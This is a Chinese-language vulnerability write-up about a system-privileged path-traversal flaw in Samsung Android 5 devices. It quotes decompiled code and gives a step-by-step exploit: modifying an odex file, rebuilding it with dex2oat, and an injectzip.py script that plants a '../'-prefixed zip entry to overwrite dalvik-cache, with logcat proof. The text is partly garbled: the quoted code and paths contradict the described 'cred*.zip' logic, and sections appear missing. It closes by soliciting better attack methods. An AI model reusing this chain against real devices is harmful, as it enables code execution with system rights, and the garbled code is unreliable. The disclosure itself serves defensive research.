本文具体分析了最近在Google漏洞赏金计划中披露的三星Android5设备漏洞[0],该漏洞由Google的Project Zero团队以及Quarkslab挖掘。据我们所知,该漏洞存在于所有三星搭载Android5的设备中,仅仅通过浏览站点,下载电子邮件中的附件,或者一个恶意的第三方软件便能够使用system user权限进行远程代码执行。
关于漏洞
搭载Android 5的三星设备中,一款uid为system的安卓应用监视着/sdcard/Download/目录操作,其用到基于inotify机制的Java FileObserver。当以cred开始.zip结尾的文件名写入这个特殊目录,将会调用一个例程来解压这个文档,完成之后再从/sdcard/Download/目录将其删除,从cred[something].zip文件中提取的文件会解压到/data/bundle/目录。
不幸的是,没有在文件名进行验证。这意味着一个以../为开头的文件名会被写入/data/bundle/之外的位置。攻击者便能够在任意位置写入任意内容而且还带system用户权限。如果系统用户权限足够,那我们可以随意创建新文件或者是覆盖现有文件。很明显,带系统用户权限写入文件可导致远程代码执行漏洞。
考虑到/sdcard/Download/为安卓浏览器默认的下载文件夹,并且GMail应用保存的附件也在这文件夹内,你又有一个远程代码执行漏洞…..
攻击向量
据我们所知,以下攻击向量可用来利用该漏洞:
1.通过任意浏览器访问一个站点(包括Google Chrome)
2.通过GMail应用保存邮件中的附件
3.安装一款安卓恶意软件
如何检测是否存在漏洞
我们希望快速简便的检测用户设备状态。为此我们给开源项目Android VTS[2]写了一个模块[1],因此你可以通过Android VTS快速的检测手中设备的状态。
以下为使用Android VTS进行检测的一个例子:
详细分析
以下分析都是在Samsung Galaxy S6设备上完成,漏洞代码位于Hs20Settings.apk应用之中。其注册一个名为WifiHs20BroadcastReceiver的广播接收器,在启动时或者触发WIFI事件(android.net.wifi.STATE_CHANGE)便执行。
需要注意的是,这个三星设备漏洞代码可能在其他位置。例如,Samsung Galaxy S5这个漏洞代码就在SecSettings.apk中。
当广播接收器通过前面两个条件之一触发时,会执行以下代码:
public void onReceive(Context context, Intent intent) { [...] String action = intent.getAction(); [...] if("android.intent.action.BOOT_COMPLETED".equals(action)) { serviceIntent = new Intent(context, WifiHs20UtilityService.class); args = new Bundle(); args.putInt("com.android.settings.wifi.hs20.utility_action_type", 5003); serviceIntent.putExtras(args); context.startServiceAsUser(serviceIntent, UserHandle.CURRENT); } [...]}
对于每一个事件,都会有一个Intent来创建一个名为WifiHs20UtilityService的服务。注意观察服务中的构造函数,特别是onCreate()方法,它会创建一个新的WifiHs20CredFileObserver对象。
public void onCreate() { super.onCreate(); Log.i("Hs20UtilService", "onCreate"); [...] WifiHs20UtilityService.credFileObserver = new WifiHs20CredFileObserver( this, Environment.getExternalStorageDirectory().toString() + "/Download/" ); WifiHs20UtilityService.credFileObserver.startWatching(); [...]}
WifiHs20CredFileObserver被定义为FileObserver的Java子类:
class WifiHs20CredFileObserver extends FileObserver {
在安卓文档中FileObserver的定义:
android.os下的FileObserver类是一个用于监听文件访问、创建、修改、删除、移动等操作的监听器,基于linux的inotify。 FileObserver 是个抽象类,必须继承它才能使用。每个FileObserver对象监听一个单独的文件或者文件夹,如果监视的是一个文件夹,那么文件夹下所有的文件和级联子目录的改变都会触发监听的事件。
公共构造函数必须为监控事件指定一个路径和一个mask:
FileObserver(String path, int mask)
WifiHs20CredFileObserver的构造函数如下:
public WifiHs20CredFileObserver(WifiHs20UtilityService arg2, String path) { WifiHs20UtilityService.this = arg2; super(path, 0xFFF); this.pathToWatch = path;}
在上面的代码片段中,FileObserver所有的有效事件类型可以在/sdcard/Download/目录下查看,事实上mask 0xFFF就是为FileObserver.ALL_EVENTS准备的。为了搞清楚接收事件后会发生什么动作,我们还需要看看WifiHs20CredFileObserver中的onEvent()重载方法:
public void onEvent(int event, String fileName) { WifiInfo wifiInfo; Iterator i$; String credInfo; if(event == 8 && (fileName.startsWith("cred")) && ((fileName.endsWith(".conf")) || (fileName .endsWith(".zip")))) { Log.i("Hs20UtilService", "File CLOSE_WRITE [" + this.pathToWatch + fileName + "]" + event); if(fileName.endsWith(".conf")) { try { credInfo = this.readSdcard(this.pathToWatch + fileName); if(credInfo == null) { return; } new File(this.pathToWatch + fileName).delete(); i$ = WifiHs20UtilityService.this.expiryTimerList.iterator(); while(i$.hasNext()) { WifiHs20Timer.access$500(i$.next()).cancel(); } WifiHs20UtilityService.this.expiryTimerList.clear(); WifiHs20UtilityService.this.mWifiManager.modifyPasspointCred(credInfo); wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo(); if(!wifiInfo.isCaptivePortal()) { return; } if(wifiInfo.getNetworkId() == -1) { return; } WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this. mWifiManager.getConnectionInfo().getNetworkId(), null); } catch(Exception e) { e.printStackTrace(); } return; } if(fileName.endsWith(".zip")) { String zipFile = this.pathToWatch + "/../20220623/file.html"; String unzipLocation = "/data/bundle/"; if(!this.installPathExists()) { return; } this.unzip(zipFile, unzipLocation); new File(zipFile).delete(); credInfo = this.loadCred(unzipLocation); if(credInfo == null) { return; } i$ = WifiHs20UtilityService.this.expiryTimerList.iterator(); while(i$.hasNext()) { WifiHs20Timer.access$500(i$.next()).cancel(); } WifiHs20UtilityService.this.expiryTimerList.clear(); Message msg = new Message(); Bundle b = new Bundle(); b.putString("cred", credInfo); msg.obj = b; msg.what = 42; WifiHs20UtilityService.this.mWifiManager.callSECApi(msg); wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo(); if(!wifiInfo.isCaptivePortal()) { return; } if(wifiInfo.getNetworkId() == -1) { return; } WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.mWifiManager .getConnectionInfo().getNetworkId(), null); } }}当接收到事件类型8(FileObserver.CLOSE_WRITE)时,对文件名以及动作的检测可能已经开始了。如果写入的文件以cred,.conf或.zip结尾便会执行一些处理,而在其他所有例子中,FileObserver会简单的略过。
private void unzip(String _zipFile, String _location) { FileInputStream fin = new FileInputStream(_zipFile); ZipInputStream zin = new ZipInputStream(((InputStream)fin)); ZipEntry zentry; /* check if we need to create some directories ... */ while(true) { label_5: zentry = zin.getNextEntry(); if(zentry == null) { // exit } Log.v("Hs20UtilService", "Unzipping********** " + zentry.getName()); if(!zentry.isDirectory()) { break; } /* if the directory does'nt exist, the _dirChecker will create it */ this._dirChecker(_location, zentry.getName()); } FileOutputStream fout = new FileOutputStream(_location + zentry.getName()); int c; for(c = zin.read(); c != -1; c = zin.read()) { if(fout != null) { fout.write(c); } } if(zin != null) { zin.closeEntry(); } if(fout == null) { goto label_45; } fout.close();label_45: MimeTypeMap type = MimeTypeMap.getSingleton(); String fileName = new String(zentry.getName()); int i = fileName.lastIndexOf(46); if(i 0) { goto label_5; } String v2 = fileName.substring(i + 1); Log.v("Hs20UtilService", "Ext" + v2); Log.v("Hs20UtilService", "Mime Type" + type.getMimeTypeFromExtension(v2)); goto label_5; } }
manifest android:sharedUserId="android.uid.system" android:versionCode="1411172008" [...] xmlns:android="http://schemas.android.com/apk/res/android"> application android:debuggable="false" android:icon="@2130837507" android:label="@2131230720" android:supportsRtl="true" android:theme="@2131296256"> [...] receiver android:exported="false" android:name="com.samsung.android.app.accesscontrol.AccessControlReceiver"> intent-filter> action android:name="android.intent.action.BOOT_COMPLETED" /> action android:name="com.samsung.android.app.accesscontrol.TOGGLE_MODE" /> intent-filter> receiver> [...] application>manifest>
> adb pull /system/app/AccessControl/arm/ . pull: building file list... pull: /system/app/AccessControl/arm/AccessControl.odex.xz -> ./AccessControl.odex.xz pull: /system/app/AccessControl/arm/AccessControl.odex.art.xz -> ./AccessControl.odex.art.xz2 files pulled. 0 files skipped.273 KB/s (72428 bytes in 0.258s)> ls AccessControl.odex.art.xz AccessControl.odex.xz > xz -d * > file * AccessControl.odex: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped AccessControl.odex.art: data我们获得了一个ART ELF (OAT)文件,但是我们想要修改它的dalvik字节码。我们可以使用oat2dex提取相应的dalvik字节码[8]:
> python oat2dex.py /tmp/art/AccessControl.odex Processing '/tmp/art/AccessControl.odex'Found DEX signature at offset 0x2004 Got DEX size: 0xe944 Carving to: '/tmp/art/AccessControl.odex.0x2004.dex'> file * [...] AccessControl.odex.0x2004.dex: Dalvik dex file version 035 [...] > baksmali AccessControl.odex.0x2004.dex -o smali
接下来在onReceive()方法中加入我们的自定义代码:
> find smali/ -iname '*receiver*' smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali > vim smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali [...] .method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V .registers 10 + # adding the following code: + const-string v0, "sh4ka" + const-string v1, "boom!" + invoke-static {v0, v1}, Landroid/util/Log;->wtf(Ljava/lang/String;Ljava/lang/String;)I [...] > smali smali/ -o classes.dex为了构建我们修改过的DEX文件,再次使用dex2oat:
> adb pull /system/app/AccessControl/AccessControl.apk .1462 KB/s (259095 bytes in 0.173s)> sudo chattr +i AccessControl.apk > cp AccessControl.apk Modded.apk > zip -q Modded.apk classes.dex > python -c 'print len("/system/app/AccessControl/AccessControl.apk")'43 > python -c 'print 43-len("/data/local/tmp/Modded.apk")'17 > mv Modded.apk Modded$(python -c 'print "1"*17').apk > ls AccessControl.apk AccessControl.odex AccessControl.odex.0x2004.dex AccessControl.odex.art classes.dex Modded11111111111111111.apk smali > adb push Modded11111111111111111.apk /data/local/tmp1144 KB/s (284328 bytes in 0.242s)> adb shell dex2oat --dex-file=/data/local/tmp/Modded11111111111111111.apk --oat-file=/data/local/tmp/modified.oat > adb pull /data/local/tmp/modified.oat .1208 KB/s (172464 bytes in 0.139s)> file modified.oat modified.oat: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped > sed -i 's/\/data\/local\/tmp\/Modded11111111111111111.apk/\/system\/app\/AccessControl\/AccessControl.apk/g;' modified.oat最后我们可以构建zip文件来利用这个漏洞了:
> cat injectzip.py import sys from zipfile import ZipFile with ZipFile("../20220623/file.html","w") as z: z.writestr(sys.argv[1],open(sys.argv[2],"rb").read())> python injectzip.py ../../../../../../data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex /tmp/art/modified.oat > zipinfo ../20220623/file.html Archive: ../20220623/file.html Zip file size: 172750 bytes, number of entries: 1 ?rw------- 2.0 unx 172464 b- stor 15-Nov-08 18:43 ../../../../../../data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex1 file, 172464 bytes uncompressed, 172464 bytes compressed: 0.0%这里有多种方法触发这个漏洞,如迫使浏览器打开一个web页面下载这个zip文件:
> adb push ../20220623/file.html /sdcard/Download/ > adb logcat WifiCredService:V *:S --------- beginning of main --------- beginning of system I/WifiCredService( 4599): File CLOSE_WRITE [/storage/emulated/0/Download/../20220623/file.html]8 V/WifiCredService( 4599): Unzipping********** ../../../../../../data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex V/WifiCredService( 4599): Extdex V/WifiCredService( 4599): Mime Typenull重启机器之后,应该会出现一些消息:
> adb reboot; adb logcat sh4ka:V *:S - waiting for device - --------- beginning of system --------- beginning of main F/sh4ka ( 3613): boom!这个方法并非是最优的,开动脑筋吧!欢迎再评论区写下你的答案,如果答案优秀我会通过小酒馆打赏10金币给你。